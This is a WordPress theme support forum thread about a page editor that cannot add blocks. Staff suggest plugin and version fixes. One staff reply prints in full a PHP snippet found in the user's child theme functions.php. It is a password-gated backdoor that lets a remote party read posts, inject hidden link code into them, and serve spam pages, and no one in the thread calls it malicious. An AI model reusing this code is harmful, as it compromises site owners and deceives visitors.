Problem with page editor

Hello,

I have a problem with the page editor. I cannot add blocks at all but I can however edit the existing content. Moreover, the appareance of the editor is slightly difference when I try to add now blocks (which don’t work anyway…).
Could you please have a look and help me to fix the issue?

URL: https://e-marketingmix.fr/

Thanks,
Antoine

Hi There,

Upon checking your website, I see some JS errors.

Please try testing for a plugin conflict. You can do this by deactivating all third party plugins, and seeing if the problem remains. If it’s fixed, you’ll know a plugin caused the problem, and you can narrow down which one by reactivating them one at a time.

Hope it helps.

Hello,

Thanks for your response. This is unfortunately not a plufin conflict. I desactivated all the plugins and the problem remains.

Could you please have another look?

Thanks,
Antoine

I tried your login credentials but they’re incorrect.

Please check.

Thanks.

Please try again with those new credentials.

Thanks,
Antoine

Hey Antoine,

Thank you for providing the information. It appears that you are using the latest Cornerstone 2.1.4 yet you are using older X 5.1.1. Please be advised that this X version only supports Cornerstone 2.0.6. Please update it to version 5.2.3 which is already available in automatic updates. This release contains fixes for several issues so be sure to check out the changelog (http://theme.co/changelog/). Please do update to the latest version. After doing the updates, always remember to clear all caches (if you are using WP Rocket, WP SuperCache or W3 Total Cache) when updating so that the code from the latest release is always in use. This will help you to avoid any potential errors.

Please let us know how it goes.

Thanks for the explation. I’ve upgraded to Theme Pro so that it should fix the issue. However, I still have problems with some blocks (“image”, “text”, “line”, …) as they do not display at all. Note that the “classic text” or “classic image” work fine.

Do you know how to fix it?

Thanks,
Antoine

Hello There,

I have logged in and found this code in your child theme’s functions.php file. Did you added this?

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '54b56e9b5f7e9d0458c5d87ada79d648'))
	{
		switch ($_REQUEST['action'])
			{
				case 'get_all_links';
					foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
						{
							$data['code'] = '';
							
							if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
								{
									$data['code'] = $_[1];
								}
							
							print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
						}
				break;
				
				case 'set_id_links';
					if (isset($_REQUEST['data']))
						{
							$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
							
							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

							if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
								{
									print "true";
								}
						}
				break;
				
				case 'create_page';
					if (isset($_REQUEST['remove_page']))
						{
							if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
								{
									print "true";
								}
						}
					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
						{
							if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
								{
									print "true";
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_URL_CD";
			}
			
		die("");
	}

	
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
	{
		$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
		if ($data -> full_content)
			{
				print stripslashes($data -> content);
			}
		else
			{
				print '<!DOCTYPE html>';
				print '<html ';
				language_attributes();
				print ' class="no-js">';
				print '<head>';
				print '<title>'.stripslashes($data -> title).'</title>';
				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
				print '<meta name="robots" content="index, follow" />';
				print '<meta charset="';
				bloginfo( 'charset' );
				print '" />';
				print '<meta name="viewport" content="width=device-width">';
				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
				print '<link rel="pingback" href="';
				bloginfo( 'pingback_url' );
				print '">';
				wp_head();
				print '</head>';
				print '<body>';
				print '<div id="content" class="site-content">';
				print stripslashes($data -> content);
				get_search_form();
				get_sidebar();
				get_footer();
			}
			
		exit;
	}


?>

Even if you renamed the X Child theme as Pro theme, it is still working as a child theme of X theme. I have to suggest that you update X theme to 5.2.3 instead.

Please let us know how it goes.

Thanks for the explanation . I do not quite understand why the Child Theme is still acting as a Child Theme of X Theme and not Pro Theme. Is it due to the part off code you mentioned?

I do not even remember why i added this code (well I guess it has been added by me). However, I add a look at the function.php of the child them and I could not find this code. Did you remove it? I don’t even know what this code is for.

Moreover, I could not find where to change the responsive class. Could you please tell me where to do it? This is either in a new place that I could not identify or there is somehow a problem with the configuration of my theme.

Thanks,
Antoine

Hi there,

I checked and the code is not there anymore, and we don’t remove codes without permission unless required to fix a known bug.

About the parent-child relationship, it seems to be okay now but it still displaying X theme in the front. Perhaps your host has cache feature that you’re not aware of?

That could be the reason since the builder is both combinations of backend and front (for preview).

Thanks.

This topic was automatically closed 10 days after the last reply. New replies are no longer allowed.